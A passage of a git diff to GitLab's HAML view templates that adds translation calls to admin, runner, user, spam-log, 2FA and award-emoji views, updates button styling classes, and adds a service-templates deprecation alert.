+ %p= _('When an event in GitLab triggers a webhook, you can use the request details to figure out if something went wrong.')
.col-lg-9
- if hook_logs.any?
%table.table
%thead
%tr
- %th Status
- %th Trigger
- %th URL
- %th Elapsed time
- %th Request time
+ %th= _('Status')
+ %th= _('Trigger')
+ %th= _('URL')
+ %th= _('Elapsed time')
+ %th= _('Request time')
%th
- hook_logs.each do |hook_log|
%tr
@@ -28,10 +28,10 @@
%td.light
= time_ago_with_tooltip(hook_log.created_at)
%td
- = link_to 'View details', admin_hook_hook_log_path(hook, hook_log)
+ = link_to _('View details'), admin_hook_hook_log_path(hook, hook_log)
= paginate hook_logs, theme: 'gitlab'
- else
.settings-message.text-center
- You don't have any webhooks deliveries
+ = _("You don't have any webhooks deliveries")
diff --git a/app/views/admin/labels/_label.html.haml b/app/views/admin/labels/_label.html.haml
index b31b9bdab0a..a357c3d9d34 100644
--- a/app/views/admin/labels/_label.html.haml
+++ b/app/views/admin/labels/_label.html.haml
@@ -1,7 +1,7 @@
%li.label-list-item{ id: dom_id(label) }
= render "shared/label_row", label: label.present(issuable_subject: nil)
.label-actions-list
- = link_to edit_admin_label_path(label), class: 'btn gl-button btn-transparent label-action has-tooltip', title: _('Edit'), data: { placement: 'bottom' }, aria_label: _('Edit') do
+ = link_to edit_admin_label_path(label), class: 'btn btn-default gl-button btn-default-tertiary label-action has-tooltip', title: _('Edit'), data: { placement: 'bottom' }, aria_label: _('Edit') do
= sprite_icon('pencil')
- = link_to admin_label_path(label), class: 'btn gl-button btn-transparent remove-row label-action has-tooltip', title: _('Delete'), data: { placement: 'bottom', confirm: "Delete this label? Are you sure?" }, aria_label: _('Delete'), method: :delete, remote: true do
+ = link_to admin_label_path(label), class: 'btn btn-default gl-button btn-default-tertiary hover-red js-remove-row label-action has-tooltip', title: _('Delete'), data: { placement: 'bottom', confirm: "Delete this label? Are you sure?" }, aria_label: _('Delete'), method: :delete, remote: true do
= sprite_icon('remove')
diff --git a/app/views/admin/labels/index.html.haml b/app/views/admin/labels/index.html.haml
index 6861a802a63..6007d891aad 100644
--- a/app/views/admin/labels/index.html.haml
+++ b/app/views/admin/labels/index.html.haml
@@ -7,7 +7,7 @@
= _('Labels')
%hr
-.labels.labels-container.admin-labels
+.labels.labels-container.admin-labels.gl-bg-gray-10.gl-border-solid.gl-border-1.gl-border-gray-100
- if @labels.present?
%ul.manage-labels-list
= render @labels
diff --git a/app/views/admin/projects/_projects.html.haml b/app/views/admin/projects/_projects.html.haml
index c2e40413a14..7e505729213 100644
--- a/app/views/admin/projects/_projects.html.haml
+++ b/app/views/admin/projects/_projects.html.haml
@@ -4,7 +4,7 @@
- @projects.each_with_index do |project|
%li.project-row{ class: ('no-description' if project.description.blank?) }
.controls
- = link_to 'Edit', edit_project_path(project), id: "edit_#{dom_id(project)}", class: "btn gl-button btn-default"
+ = link_to _('Edit'), edit_project_path(project), id: "edit_#{dom_id(project)}", class: "btn gl-button btn-default"
%button.delete-project-button.gl-button.btn.btn-danger{ data: { delete_project_url: admin_project_path(project), project_name: project.name } }
= s_('AdminProjects|Delete')
@@ -31,6 +31,6 @@
= paginate @projects, theme: 'gitlab'
- else
- .nothing-here-block No projects found
+ .nothing-here-block= _('No projects found')
#delete-project-modal
diff --git a/app/views/admin/projects/index.html.haml b/app/views/admin/projects/index.html.haml
index 50f3c94bcb3..79d77790b02 100644
--- a/app/views/admin/projects/index.html.haml
+++ b/app/views/admin/projects/index.html.haml
@@ -18,20 +18,20 @@
.search-holder
= render 'shared/projects/search_form', autofocus: true, admin_view: true
.dropdown
- - toggle_text = 'Namespace'
+ - toggle_text = _('Namespace')
- if params[:namespace_id].present?
= hidden_field_tag :namespace_id, params[:namespace_id]
- namespace = Namespace.find(params[:namespace_id])
- toggle_text = "#{namespace.kind}: #{namespace.full_path}"
= dropdown_toggle(toggle_text, { toggle: 'dropdown', is_filter: 'true' }, { toggle_class: 'js-namespace-select large' })
.dropdown-menu.dropdown-select.dropdown-menu-right
- = dropdown_title('Namespaces')
- = dropdown_filter("Search for Namespace")
+ = dropdown_title(_('Namespaces'))
+ = dropdown_filter(_("Search for Namespace"))
= dropdown_content
= dropdown_loading
= render 'shared/projects/dropdown'
= link_to new_project_path, class: 'gl-button btn btn-confirm' do
- New Project
- = button_tag "Search", class: "gl-button btn btn-confirm btn-search hide"
+ = _('New Project')
+ = button_tag _("Search"), class: "gl-button btn btn-confirm btn-search hide"
= render 'projects'
diff --git a/app/views/admin/runners/_runner.html.haml b/app/views/admin/runners/_runner.html.haml
index 0d819dc5b47..c3e4626c14e 100644
--- a/app/views/admin/runners/_runner.html.haml
+++ b/app/views/admin/runners/_runner.html.haml
@@ -1,27 +1,28 @@
+-# Note: This file should stay aligned with:
+-# `app/views/groups/runners/_runner.html.haml`
+
.gl-responsive-table-row{ id: dom_id(runner) }
.table-section.section-10.section-wrap
.table-mobile-header{ role: 'rowheader' }= _('Type')
.table-mobile-content
- if runner.instance_type?
- %span.badge.badge-success shared
+ %span.badge.badge-pill.gl-badge.sm.badge-success= _("shared")
- elsif runner.group_type?
- %span.badge.badge-success group
+ %span.badge.badge-pill.gl-badge.sm.badge-success= _("group")
- else
- %span.badge.badge-info specific
+ %span.badge.badge-pill.gl-badge.sm.badge-info= _("specific")
- if runner.locked?
- %span.badge.badge-warning locked
+ %span.badge.badge-pill.gl-badge.sm.badge-warning= _("locked")
- unless runner.active?
- %span.badge.badge-danger paused
+ %span.badge.badge-pill.gl-badge.sm.badge-danger= _("paused")
- .table-section.section-10
- .table-mobile-header{ role: 'rowheader' }= _('Runner token')
+ .table-section.section-30
+ .table-mobile-header{ role: 'rowheader' }= s_('Runners|Runner')
.table-mobile-content
- = link_to runner.short_sha, admin_runner_path(runner)
-
- .table-section.section-20
- .table-mobile-header{ role: 'rowheader' }= _('Description')
- .table-mobile-content.str-truncated.has-tooltip{ title: runner.description }
- = runner.description
+ = link_to("##{runner.id} (#{runner.short_sha})", admin_runner_path(runner))
+ .gl-text-truncate
+ %span{ title: runner.description, data: { toggle: 'tooltip', container: 'body' } }
+ = runner.description
.table-section.section-10
.table-mobile-header{ role: 'rowheader' }= _('Version')
@@ -65,15 +66,15 @@
.table-section.table-button-footer.section-10
.btn-group.table-action-buttons
.btn-group
- = link_to admin_runner_path(runner), class: 'gl-button btn btn-default has-tooltip', title: _('Edit'), ref: 'tooltip', aria: { label: _('Edit') }, data: { placement: 'top', container: 'body'} do
- = sprite_icon('pencil')
+ = link_to admin_runner_path(runner), class: 'gl-button btn btn-default btn-icon has-tooltip', title: _('Edit'), ref: 'tooltip', aria: { label: _('Edit') }, data: { placement: 'top', container: 'body'} do
+ = sprite_icon('pencil', css_class: 'gl-icon')
.btn-group
- if runner.active?
- = link_to [:pause, :admin, runner], method: :post, class: 'gl-button btn btn-default btn-svg has-tooltip', title: _('Pause'), ref: 'tooltip', aria: { label: _('Pause') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
- = sprite_icon('pause')
+ = link_to [:pause, :admin, runner], method: :post, class: 'gl-button btn btn-default btn-icon has-tooltip', title: _('Pause'), ref: 'tooltip', aria: { label: _('Pause') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
+ = sprite_icon('pause', css_class: 'gl-icon')
- else
- = link_to [:resume, :admin, runner], method: :post, class: 'gl-button btn btn-default btn-svg has-tooltip gl-px-3', title: _('Resume'), ref: 'tooltip', aria: { label: _('Resume') }, data: { placement: 'top', container: 'body'} do
- = sprite_icon('play')
+ = link_to [:resume, :admin, runner], method: :post, class: 'gl-button btn btn-default btn-icon has-tooltip gl-px-3', title: _('Resume'), ref: 'tooltip', aria: { label: _('Resume') }, data: { placement: 'top', container: 'body'} do
+ = sprite_icon('play', css_class: 'gl-icon')
.btn-group
- = link_to [:admin, runner], method: :delete, class: 'gl-button btn btn-danger has-tooltip', title: _('Remove'), ref: 'tooltip', aria: { label: _('Remove') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
- = sprite_icon('close')
+ = link_to [:admin, runner], method: :delete, class: 'gl-button btn btn-danger btn-icon has-tooltip', title: _('Remove'), ref: 'tooltip', aria: { label: _('Remove') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
+ = sprite_icon('close', css_class: 'gl-icon')
diff --git a/app/views/admin/runners/index.html.haml b/app/views/admin/runners/index.html.haml
index 8e62dae6c4d..a38615d9b1b 100644
--- a/app/views/admin/runners/index.html.haml
+++ b/app/views/admin/runners/index.html.haml
@@ -50,7 +50,7 @@
.filtered-search-box
= dropdown_tag(_('Recent searches'),
options: { wrapper_class: 'filtered-search-history-dropdown-wrapper',
- toggle_class: 'btn filtered-search-history-dropdown-toggle-button',
+ toggle_class: 'gl-button btn btn-default filtered-search-history-dropdown-toggle-button',
dropdown_class: 'filtered-search-history-dropdown',
content_class: 'filtered-search-history-dropdown-content' }) do
.js-filtered-search-history-dropdown{ data: { full_path: admin_runners_path } }
@@ -72,7 +72,7 @@
#js-dropdown-operator.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dropdown: true, dynamic: true } }
%li.filter-dropdown-item{ data: { value: "{{ title }}" } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
{{ title }}
%span.btn-helptext
{{ help }}
@@ -100,12 +100,12 @@
#js-dropdown-runner-tag.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'none' } }
- %button.btn.btn-link
+ %button.gl-button.btn.btn-link
= _('No Tag')
%li.divider.droplab-item-ignore
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link.js-data-value
+ %button.gl-button.btn.btn-link.js-data-value
%span.dropdown-light-content
{{name}}
@@ -118,12 +118,11 @@
= _('Runners currently online: %{active_runners_count}') % { active_runners_count: @active_runners_count }
- if @runners.any?
- .runners-content.content-list
+ .content-list{ data: { testid: 'runners-table' } }
.table-holder
.gl-responsive-table-row.table-row-header{ role: 'row' }
.table-section.section-10{ role: 'rowheader' }= _('Type/State')
- .table-section.section-10{ role: 'rowheader' }= _('Runner token')
- .table-section.section-20{ role: 'rowheader' }= _('Description')
+ .table-section.section-30{ role: 'rowheader' }= s_('Runners|Runner')
.table-section.section-10{ role: 'rowheader' }= _('Version')
.table-section.section-10{ role: 'rowheader' }= _('IP Address')
.table-section.section-5{ role: 'rowheader' }= _('Projects')
diff --git a/app/views/admin/runners/show.html.haml b/app/views/admin/runners/show.html.haml
index aca50de3852..705716c09b7 100644
--- a/app/views/admin/runners/show.html.haml
+++ b/app/views/admin/runners/show.html.haml
@@ -1,34 +1,17 @@
- add_page_specific_style 'page_bundles/ci_status'
-= content_for :title do
- %h3.project-title
- Runner ##{@runner.id}
- .float-right
- - if @runner.instance_type?
- %span.runner-state.runner-state-shared
- Shared
- - else
- %span.runner-state.runner-state-specific
- Specific
-
- page_title @runner.short_sha
-- add_to_breadcrumbs _("Runners"), admin_runners_path
-- breadcrumb_title "##{@runner.id}"
+- add_to_breadcrumbs _('Runners'), admin_runners_path
+- breadcrumb_title page_title
-- if @runner.instance_type?
- .bs-callout.bs-callout-success
- %h4= _('This runner processes jobs for all unassigned projects.')
- %p
- = _('If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner.')
-- elsif @runner.group_type?
- .bs-callout.bs-callout-success
- %h4= _('This runner processes jobs for all projects in its group and subgroups.')
+- if Feature.enabled?(:runner_detailed_view_vue_ui, current_user, default_enabled: :yaml)
+ #js-runner-detail{ data: {runner_id: @runner.id} }
- else
- .bs-callout.bs-callout-info
- %h4= _('This runner processes jobs for assigned projects only.')
- %p
- = _('You cannot make this a shared runner.')
-%hr
+ %h2.page-title
+ = s_('Runners|Runner #%{runner_id}' % { runner_id: @runner.id })
+ = render 'shared/runners/runner_type_badge', runner: @runner
+
+= render 'shared/runners/runner_type_alert', runner: @runner
.gl-mb-6
= render 'shared/runners/form', runner: @runner, runner_form_url: admin_runner_path(@runner), in_gitlab_com_admin_context: Gitlab.com?
@@ -37,7 +20,7 @@
.col-md-6
%h4= _('Restrict projects for this runner')
- if @runner.projects.any?
- %table.table.assigned-projects
+ %table.table{ data: { testid: 'assigned-projects' } }
%thead
%tr
%th= _('Assigned projects')
@@ -54,7 +37,7 @@
.gl-alert-actions
= link_to s_('Disable'), admin_namespace_project_runner_project_path(project.namespace, project, runner_project), method: :delete, class: 'btn gl-alert-action btn-info btn-md gl-button'
- %table.table.unassigned-projects
+ %table.table{ data: { testid: 'unassigned-projects' } }
%thead
%tr
%th= _('Project')
diff --git a/app/views/admin/serverless/domains/index.html.haml b/app/views/admin/serverless/domains/index.html.haml
index bd3c6bc6e04..c2b6baed4de 100644
--- a/app/views/admin/serverless/domains/index.html.haml
+++ b/app/views/admin/serverless/domains/index.html.haml
@@ -10,7 +10,7 @@
.settings-header
%h4
= _('Serverless domain')
- %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ %button.gl-button.btn.btn-default.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
= _('Set an instance-wide domain that will be available to all clusters when installing Knative.')
diff --git a/app/views/admin/services/_form.html.haml b/app/views/admin/services/_form.html.haml
index c17ab5e08a7..4d9fa6d3d57 100644
--- a/app/views/admin/services/_form.html.haml
+++ b/app/views/admin/services/_form.html.haml
@@ -1,7 +1,9 @@
+= render "service_templates_deprecated_alert"
+
%h3.page-title
= @service.title
-%p #{@service.description} template.
+%p= @service.description
= form_for :service, url: admin_application_settings_service_path, method: :put, html: { class: 'fieldset-form js-integration-settings-form' } do |form|
= render 'shared/service_settings', form: form, integration: @service
diff --git a/app/views/admin/services/_service_templates_deprecated_alert.html.haml b/app/views/admin/services/_service_templates_deprecated_alert.html.haml
new file mode 100644
index 00000000000..0cc44099049
--- /dev/null
+++ b/app/views/admin/services/_service_templates_deprecated_alert.html.haml
@@ -0,0 +1,8 @@
+- doc_link_start = "<a href=\"#{integrations_help_page_path}\" target='_blank' rel='noopener noreferrer'>".html_safe
+- settings_link_start = "<a href=\"#{integrations_admin_application_settings_path}\">".html_safe
+
+.gl-alert.gl-alert-danger.gl-mt-5{ role: 'alert' }
+ = sprite_icon('error', css_class: 'gl-alert-icon gl-alert-icon-no-title')
+ %h4.gl-alert-title= s_('AdminSettings|Service templates are deprecated and will be removed in GitLab 14.0.')
+ .gl-alert-body
+ = html_escape_once(s_("AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}.")).html_safe % { settings_link_start: settings_link_start, doc_link_start: doc_link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/admin/services/index.html.haml b/app/views/admin/services/index.html.haml
index 3517beac976..91706452402 100644
--- a/app/views/admin/services/index.html.haml
+++ b/app/views/admin/services/index.html.haml
@@ -1,23 +1,13 @@
- page_title _("Service Templates")
- @content_class = 'limit-container-width' unless fluid_layout
-- if show_service_templates_deprecated?
- .gl-alert.gl-alert-tip.js-service-templates-deprecated.gl-mt-5{ role: 'alert', data: { feature_id: UserCalloutsHelper::SERVICE_TEMPLATES_DEPRECATED, dismiss_endpoint: user_callouts_path } }
- = sprite_icon('bulb', css_class: 'gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', aria: { label: _('Dismiss') } }
- = sprite_icon('close')
- %h4.gl-alert-title= s_('AdminSettings|Service Templates will soon be deprecated.')
- .gl-alert-body
- = s_('AdminSettings|Try using the latest version of Integrations instead.')
- .gl-alert-actions
- = link_to _('Go to Integrations'), integrations_admin_application_settings_path, class: 'btn btn-info gl-alert-action gl-button'
- = link_to _('Learn more'), help_page_path('user/admin_area/settings/project_integration_management'), class: 'btn btn-default gl-alert-action btn-secondary gl-button', target: '_blank', rel: 'noopener noreferrer'
+= render "service_templates_deprecated_alert"
-%h3.page-title Service templates
-%p.light= s_('AdminSettings|Service template allows you to set default values for integrations')
+- if @activated_services.any?
+ %h3.page-title Service templates
+ %p= s_('AdminSettings|Service template allows you to set default values for integrations')
-.table-holder
- %table.table
+ %table.table.b-table.gl-table
%colgroup
%col
%col
@@ -26,10 +16,10 @@
%thead
%tr
%th
- %th Service
- %th Description
- %th Last edit
- - @services.each do |service|
+ %th= _('Service')
+ %th= _('Description')
+ %th= _('Last edit')
+ - @activated_services.each do |service|
- if service.type.in?(@existing_instance_types)
%tr
%td
diff --git a/app/views/admin/spam_logs/_spam_log.html.haml b/app/views/admin/spam_logs/_spam_log.html.haml
index 2e7114ddab4..2bfe905fb9d 100644
--- a/app/views/admin/spam_logs/_spam_log.html.haml
+++ b/app/views/admin/spam_logs/_spam_log.html.haml
@@ -6,9 +6,9 @@
- if user
= link_to user.name, [:admin, user]
.light.small
- Joined #{time_ago_with_tooltip(user.created_at)}
+ = _('Joined %{user_created_time}').html_safe % { user_created_time: time_ago_with_tooltip(user.created_at) }
- else
- (removed)
+ = _('(removed)')
%td
= spam_log.source_ip
%td
@@ -23,17 +23,17 @@
= truncate(spam_log.description, length: 100)
%td
- if user
- = link_to 'Remove user', admin_spam_log_path(spam_log, remove_user: true),
- data: { confirm: "USER #{user.name} WILL BE REMOVED! Are you sure?" }, method: :delete, class: "gl-button btn btn-sm btn-danger"
+ = link_to _('Remove user'), admin_spam_log_path(spam_log, remove_user: true),
+ data: { confirm: _("USER %{user_name} WILL BE REMOVED! Are you sure?") % { user_name: user.name } }, method: :delete, class: "gl-button btn btn-sm btn-danger"
%td
- if spam_log.submitted_as_ham?
- .btn.btn-sm.disabled
- Submitted as ham
+ .gl-button.btn.btn-default.btn-sm.disabled.gl-mb-3
+ = _("Submitted as ham")
- else
- = link_to 'Submit as ham', mark_as_ham_admin_spam_log_path(spam_log), method: :post, class: 'gl-button btn btn-sm btn-warning'
+ = link_to _('Submit as ham'), mark_as_ham_admin_spam_log_path(spam_log), method: :post, class: 'gl-button btn btn-default btn-sm gl-mb-3'
- if user && !user.blocked?
- = link_to 'Block user', block_admin_user_path(user), data: {confirm: 'USER WILL BE BLOCKED! Are you sure?'}, method: :put, class: "gl-button btn btn-sm"
+ = link_to _('Block user'), block_admin_user_path(user), data: {confirm: _('USER WILL BE BLOCKED! Are you sure?')}, method: :put, class: "gl-button btn btn-default btn-sm gl-mb-3"
- else
- .btn.btn-sm.disabled
+ .gl-button.btn.btn-default.btn-sm.disabled.gl-mb-3
Already blocked
- = link_to 'Remove log', [:admin, spam_log], remote: true, method: :delete, class: "gl-button btn btn-sm btn-close js-remove-tr"
+ = link_to _('Remove log'), [:admin, spam_log], remote: true, method: :delete, class: "gl-button btn btn-default btn-sm btn-close js-remove-tr"
diff --git a/app/views/admin/users/_admin_notes.html.haml b/app/views/admin/users/_admin_notes.html.haml
index a20b2fbffc4..7c3220e2cee 100644
--- a/app/views/admin/users/_admin_notes.html.haml
+++ b/app/views/admin/users/_admin_notes.html.haml
@@ -2,6 +2,6 @@
%legend= _('Admin notes')
.form-group.row
.col-sm-2.col-form-label
- = f.label :note, s_('AdminNote|Note')
+ = f.label :note, s_('Admin|Note')
.col-sm-10
= f.text_area :note, class: 'form-control gl-form-input gl-form-textarea'
diff --git a/app/views/admin/users/_head.html.haml b/app/views/admin/users/_head.html.haml
index 8a4a1a54c58..ade3581e5b9 100644
--- a/app/views/admin/users/_head.html.haml
+++ b/app/views/admin/users/_head.html.haml
@@ -20,20 +20,20 @@
.float-right
- if impersonation_enabled? && @user != current_user && @user.can?(:log_in)
- = link_to 'Impersonate', impersonate_admin_user_path(@user), method: :post, class: "btn btn-info gl-button btn-grouped", data: { qa_selector: 'impersonate_user_link' }
+ = link_to _('Impersonate'), impersonate_admin_user_path(@user), method: :post, class: "btn btn-info gl-button btn-grouped", data: { qa_selector: 'impersonate_user_link' }
= link_to edit_admin_user_path(@user), class: "btn btn-default gl-button btn-grouped" do
- = sprite_icon('pencil-square', css_class: 'gl-icon')
+ = sprite_icon('pencil-square', css_class: 'gl-icon gl-button-icon')
= _('Edit')
%hr
%ul.nav-links.nav.nav-tabs
= nav_link(path: 'users#show') do
- = link_to "Account", admin_user_path(@user)
+ = link_to _("Account"), admin_user_path(@user)
= nav_link(path: 'users#projects') do
- = link_to "Groups and projects", projects_admin_user_path(@user)
+ = link_to _("Groups and projects"), projects_admin_user_path(@user)
= nav_link(path: 'users#keys') do
- = link_to "SSH keys", keys_admin_user_path(@user)
+ = link_to _("SSH keys"), keys_admin_user_path(@user)
= nav_link(controller: :identities) do
- = link_to "Identities", admin_user_identities_path(@user)
+ = link_to _("Identities"), admin_user_identities_path(@user)
= nav_link(controller: :impersonation_tokens) do
- = link_to "Impersonation Tokens", admin_user_impersonation_tokens_path(@user)
+ = link_to _("Impersonation Tokens"), admin_user_impersonation_tokens_path(@user)
.gl-mb-3
diff --git a/app/views/admin/users/_user.html.haml b/app/views/admin/users/_user.html.haml
index 224a3cea28d..f2920579057 100644
--- a/app/views/admin/users/_user.html.haml
+++ b/app/views/admin/users/_user.html.haml
@@ -39,18 +39,18 @@
= link_to s_('AdminUsers|Approve'), approve_admin_user_path(user), method: :put
= link_to s_('AdminUsers|Reject'), reject_admin_user_path(user), method: :delete
- else
- %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_unblock_data(user) }
+ %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_unblock_data(user) }
= s_('AdminUsers|Unblock')
- else
- %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_block_data(user, user_block_effects) }
+ %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_block_data(user, user_block_effects) }
= s_('AdminUsers|Block')
- if user.can_be_deactivated?
%li
- %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_deactivation_data(user, user_deactivation_effects) }
+ %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_deactivation_data(user, user_deactivation_effects) }
= s_('AdminUsers|Deactivate')
- elsif user.deactivated?
%li
- %button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_activation_data(user) }
+ %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_activation_data(user) }
= s_('AdminUsers|Activate')
- if user.access_locked?
%li
@@ -59,13 +59,13 @@
%li.divider
- if user.can_be_removed?
%li
- %button.js-delete-user-modal-button.btn.btn-default-tertiary.text-danger{ data: { 'gl-modal-action': 'delete',
+ %button.js-delete-user-modal-button.gl-button.btn.btn-danger-tertiary{ data: { 'gl-modal-action': 'delete',
delete_user_url: admin_user_path(user),
block_user_url: block_admin_user_path(user),
username: sanitize_name(user.name) } }
= s_('AdminUsers|Delete user')
%li
- %button.js-delete-user-modal-button.btn.btn-default-tertiary.text-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
+ %button.js-delete-user-modal-button.gl-button.btn.btn-danger-tertiary{ data: { 'gl-modal-action': 'delete-with-contributions',
delete_user_url: admin_user_path(user, hard_delete: true),
block_user_url: block_admin_user_path(user),
username: sanitize_name(user.name) } }
diff --git a/app/views/authentication/_authenticate.html.haml b/app/views/authentication/_authenticate.html.haml
index 2d8948ae9aa..5a2ae3f44c2 100644
--- a/app/views/authentication/_authenticate.html.haml
+++ b/app/views/authentication/_authenticate.html.haml
@@ -1,5 +1,5 @@
#js-authenticate-token-2fa
-%a.btn.btn-block.btn-info#js-login-2fa-device{ href: '#' }= _("Sign in via 2FA code")
+%a.gl-button.btn.btn-block.btn-confirm#js-login-2fa-device{ href: '#' }= _("Sign in via 2FA code")
%script#js-authenticate-token-2fa-in-progress{ type: "text/template" }
%p= _("Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now.")
@@ -7,7 +7,7 @@
%script#js-authenticate-token-2fa-error{ type: "text/template" }
%div
%p <%= error_message %> (<%= error_name %>)
- %a.btn.gl-button.btn-block.btn-warning#js-token-2fa-try-again= _("Try again?")
+ %a.btn.btn-default.gl-button.btn-block#js-token-2fa-try-again= _("Try again?")
%script#js-authenticate-token-2fa-authenticated{ type: "text/template" }
%div
diff --git a/app/views/authentication/_register.html.haml b/app/views/authentication/_register.html.haml
index d250cddf0f8..678fd3c8e8c 100644
--- a/app/views/authentication/_register.html.haml
+++ b/app/views/authentication/_register.html.haml
@@ -21,7 +21,7 @@
%div
%p
%span <%= error_message %> (<%= error_name %>)
- %a.btn.gl-button.btn-warning#js-token-2fa-try-again= _("Try again?")
+ %a.btn.btn-default.gl-button#js-token-2fa-try-again= _("Try again?")
%script#js-register-token-2fa-registered{ type: "text/template" }
.row.gl-mb-3
@@ -33,4 +33,4 @@
= text_field_tag 'device_registration[name]', nil, class: 'form-control', placeholder: _("Pick a name")
.col-md-3
= hidden_field_tag 'device_registration[device_response]', nil, class: 'form-control', required: true, id: "js-device-response"
- = submit_tag _("Register device"), class: "btn btn-success"
+ = submit_tag _("Register device"), class: "gl-button btn btn-confirm"
diff --git a/app/views/award_emoji/_awards_block.html.haml b/app/views/award_emoji/_awards_block.html.haml
index a063fe54c99..3b91bcdd990 100644
--- a/app/views/award_emoji/_awards_block.html.haml
+++ b/app/views/award_emoji/_awards_block.html.haml
@@ -1,19 +1,26 @@
-- grouped_emojis = awardable.grouped_awards(with_thumbs: inline)
-.awards.js-awards-block{ class: ("hidden" if !inline && grouped_emojis.empty?), data: { award_url: toggle_award_url(awardable) } }
- - awards_sort(grouped_emojis).each do |emoji, awards|
- %button.btn.award-control.js-emoji-btn.has-tooltip{ type: "button",
- class: [(award_state_class(awardable, awards, current_user))],
- data: { title: award_user_list(awards, current_user) } }
- = emoji_icon(emoji)
- %span.award-control-text.js-counter
- = awards.count
+- api_awards_path = local_assigns.fetch(:api_awards_path, nil)
- - if can?(current_user, :award_emoji, awardable)
- .award-menu-holder.js-award-holder
- %button.btn.award-control.has-tooltip.js-add-award{ type: 'button',
- 'aria-label': _('Add reaction'),
- data: { title: _('Add reaction') } }
- %span{ class: "award-control-icon award-control-icon-neutral" }= sprite_icon('slight-smile')
- %span{ class: "award-control-icon award-control-icon-positive" }= sprite_icon('smiley')
- %span{ class: "award-control-icon award-control-icon-super-positive" }= sprite_icon('smile')
- = yield
+- if api_awards_path
+ .gl-display-flex.gl-flex-wrap
+ #js-vue-awards-block{ data: { path: api_awards_path, can_award_emoji: can?(current_user, :award_emoji, awardable).to_s } }
+ = yield
+- else
+ - grouped_emojis = awardable.grouped_awards(with_thumbs: inline)
+ .awards.js-awards-block{ class: ("hidden" if !inline && grouped_emojis.empty?), data: { award_url: toggle_award_url(awardable) } }
+ - awards_sort(grouped_emojis).each do |emoji, awards|
+ %button.gl-button.btn.btn-default.award-control.js-emoji-btn.has-tooltip{ type: "button",
+ class: [award_state_class(awardable, awards, current_user)],
+ data: { title: award_user_list(awards, current_user) } }
+ = emoji_icon(emoji)
+ %span.award-control-text.js-counter
+ = awards.count
+
+ - if can?(current_user, :award_emoji, awardable)
+ .award-menu-holder.js-award-holder
+ %button.gl-button.btn.btn-default.award-control.has-tooltip.js-add-award{ type: 'button',
+ 'aria-label': _('Add reaction'),
+ data: { title: _('Add reaction') } }
+ %span{ class: "award-control-icon award-control-icon-neutral" }= sprite_icon('slight-smile')
+ %span{ class: "award-control-icon award-control-icon-positive" }= sprite_icon('smiley')
+ %span{ class: "award-control-icon award-control-icon-super-positive" }= sprite_icon('smile')
+ = yield
diff --git a/app/views/ci/group_variables/_index.html.haml b/app/views/ci/group_variables/_index.html.haml
index a74dbe793a6..eb49a9a0261 100644
--- a/app/views/ci/group_variables/_index.html.haml
+++ b/app/views/ci/group_variables/_index.html.haml
@@ -8,5 +8,7 @@
%td.gl-text-truncate
= variable.key
%td.gl-text-truncate
+ = variable.environment_scope
+ %td.gl-text-truncate
%a.group-origin-link{ href: group_settings_ci_cd_path(variable.group) }
= variable.group.name
diff --git a/app/views/ci/group_variables/_variable_header.html.haml b/app/views/ci/group_variables/_variable_header.html.haml
index ec512ab37e7..75a432e7f7c 100644
--- a/app/views/ci/group_variables/_variable_header.html.haml
+++ b/app/views/ci/group_variables/_variable_header.html.haml
@@ -2,4 +2,6 @@
%th
= s_('Key')
%th
+ = s_('Environments')
+ %th
= s_('Group')
diff --git a/app/views/ci/runner/_how_to_setup_runner.html.haml b/app/views/ci/runner/_how_to_setup_runner.html.haml
index 6c2e4c69d83..03a3c9b0de8 100644
--- a/app/views/ci/runner/_how_to_setup_runner.html.haml
+++ b/app/views/ci/runner/_how_to_setup_runner.html.haml
@@ -22,4 +22,4 @@
method: :put, class: 'gl-button btn btn-default',
data: { confirm: _("Are you sure you want to reset the registration token?") }
-#js-install-runner{ data: { project_path: project_path, group_path: group_path } }
+#js-install-runner
diff --git a/app/views/ci/status/_dropdown_graph_badge.html.haml b/app/views/ci/status/_dropdown_graph_badge.html.haml
deleted file mode 100644
index 5e9b02b5fe2..00000000000
--- a/app/views/ci/status/_dropdown_graph_badge.html.haml
+++ /dev/null
@@ -1,20 +0,0 @@
--# Renders the content of each li in the dropdown
-
-- subject = local_assigns.fetch(:subject)
-- status = subject.detailed_status(current_user)
-- klass = "ci-status-icon ci-status-icon-#{status.group}"
-- tooltip = "#{subject.name} - #{status.status_tooltip}"
-
-- if status.has_details?
- = link_to status.details_path, class: 'mini-pipeline-graph-dropdown-item d-flex', data: { toggle: 'tooltip', title: tooltip, container: 'body' } do
- %span{ class: klass }= sprite_icon(status.icon)
- %span.gl-text-truncate.mw-70p.gl-pl-2= subject.name
-
-- else
- .menu-item.mini-pipeline-graph-dropdown-item.d-flex{ data: { toggle: 'tooltip', title: tooltip, container: 'body' } }
- %span{ class: klass }= sprite_icon(status.icon)
